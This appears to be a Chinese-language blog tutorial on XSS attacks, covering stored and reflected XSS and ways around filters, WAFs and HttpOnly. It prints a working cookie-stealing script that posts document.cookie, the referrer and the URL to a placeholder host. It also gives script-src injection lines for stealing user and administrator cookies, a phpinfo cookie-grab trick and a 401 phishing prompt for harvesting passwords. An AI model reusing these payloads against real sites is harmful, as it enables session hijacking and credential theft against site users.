Web安全之XSS漏洞
原理
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
a.存储型:能够插入到数据库里面
b.反射性:只能显示在当前页面
1.在本地建立一个html文件,添加以下js代码
此代码的意思是请求网址http://xxx.com里面的js脚本,然后执行里面的js脚本。
因为上面网址是短网址,所以需要转换成原网址再请求js
脚本内容解析:
//获取当前cookie var Cookie = document.cookie; //获取来源信息 var Referer = document.referrer; //获取当前url链接 var url = document.URL; var xhr = null; try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('Microsoft.XMLHttp') } xhr.open('post', 'https://www.xxx.com/action.php', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send('Cookie='+Cookie+'&Referer='+Referer+'&url='+url+'&c=NJROS&type=xss_content');
2.反射性xss一般可在搜索栏呈现,将<script src=http://xxx.com></script>代码放入搜索栏搜索,如果代码被隐藏说明存在xss,然后将链接发送给其他用户可以盗取cookie,
3.存储型漏洞一般在留言板、收货地址等地方,能够存放进数据库,然后管理员登录之后很有可能能够盗取管理员的cookie
存在的某些问题
1.<>被转义
比如:
2.script前台加"无法闭合
""><script>alert(1)</script>"
3.尖括号被转码
4.遇到WAF
试一下就知道WAF有没有过滤
5.被ASP.NET拦截
6.输入"就会变成\“怎么办
输入'或者直接啥也不替换,直接输入试
7.我们应该如何绕过Httponly
首先,我们需要怎么开启Httponly
找到php配置文件
session.cookie_httponly = "false"
将这个改为true
绕过思路:
a.如果有phpinfo函数那么直接可以用探针系统里面的
<!--PHPinfo Bypass HttpIOnly:<script src="https://xxx.com/xxx.php?c=4G06V&m=phpinfo&url=自定义PHPinfo地址"></script>-->
将自定义PHPinfo地址改为找到的phpinfo地址,然后直接插,就可以获取cookie了,因为phpinfo里面有这样一个参数
_SERVER["HTTP_COOKIE"] PHPSESSID=e3i0g84fsbi90hoq5rblhcmll6
b.401钓鱼
401钓鱼:<script src="https://xxx.com/xxxx.php?c=4G06V&m=401"></script>
插入这个直接弹出一个框框要你输入账号密码
c.直接写个假的登录
共有 0 条评论